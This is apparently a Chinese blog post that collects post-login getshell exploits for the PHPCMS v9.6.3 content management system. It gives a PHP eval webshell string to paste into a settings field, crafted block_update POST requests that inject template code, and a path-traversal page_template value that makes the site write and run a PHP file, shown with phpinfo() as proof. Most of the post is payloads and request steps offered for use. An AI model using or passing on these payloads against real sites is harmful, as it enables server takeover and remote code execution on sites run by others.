phpcmsv9.6.3后台getshell漏洞整理

进入后台->设置->connect

在上图中任意一个框内输入如下代码点击提交即可。

',@@eval($_POST[123]),//

文件路径/caches/configs/system.php

调用block_update需要传入id，所以先插入一条数据来获取id，构造数据包如下

URL: 

http://www.phpcmsrsns.com/index.php?m=block&c=block_admin&a=add&pos=1&pc_hash=Lgsnb1

POST：dosubmit=&name=bb&type=2

这边的pc_hash在登录后台时会在url上显示，使用时自行进行替换。

点击跳转，可跳转到block_update方法(包含id)

构造数据包如下记得替换id：

URL: 

http://www.phpcmsrsns.com/index.php?m=block&c=block_admin&a=block_update&id=1&pc_hash=Lgsnb1

POST：

dosubmit=&name=bb&type=2&url=&thumb=&desc=&template={php phpinfo();}

然后访问首页点击申请链接

http://www.phpcmsrsns.com/index.php?m=link&c=index&a=register&siteid=1

可以在本地路径中看到生成的相关文件index.html

phpcms_v9.6.3_UTF8htmlspecial666

进入 内容 > 内容相关设置 > 管理栏目 >

添加单网页-基本选项&模板设置

在模板设置处，使用浏览器自带的Developer Tools（F12）对元素属性值进行修改，如下图所示

或者，在此处使用BurpSuite拦截数据包，对数据包中setting[page_template]值进行修改setting[page_template]=../../../../html/special/666/index

然后，更新栏目，在管理栏目处可看到

点击刚刚添加的单网页访问链接，发现phpinfo();已经执行成功

http://www.phpcmsrsns.com/index.php?m=content&c=index&a=lists&catid=6

可以在本地路径中看到之前生成的专题文件index.html，新生成了index.php。

直接访问是没有权限。

吐司版主的方法，测试了一下直接系统蹦了完全没办法用了。我不知道是不是太菜了操作不到位。有知道的表哥可以留言指点一下。

网上还有很多未公开的漏洞也可以getshell，部分还有公开的我没看懂有兴趣的同学请看下方的参考链接。等我把php的代码审计学完再慢慢研究了。先水一篇再说。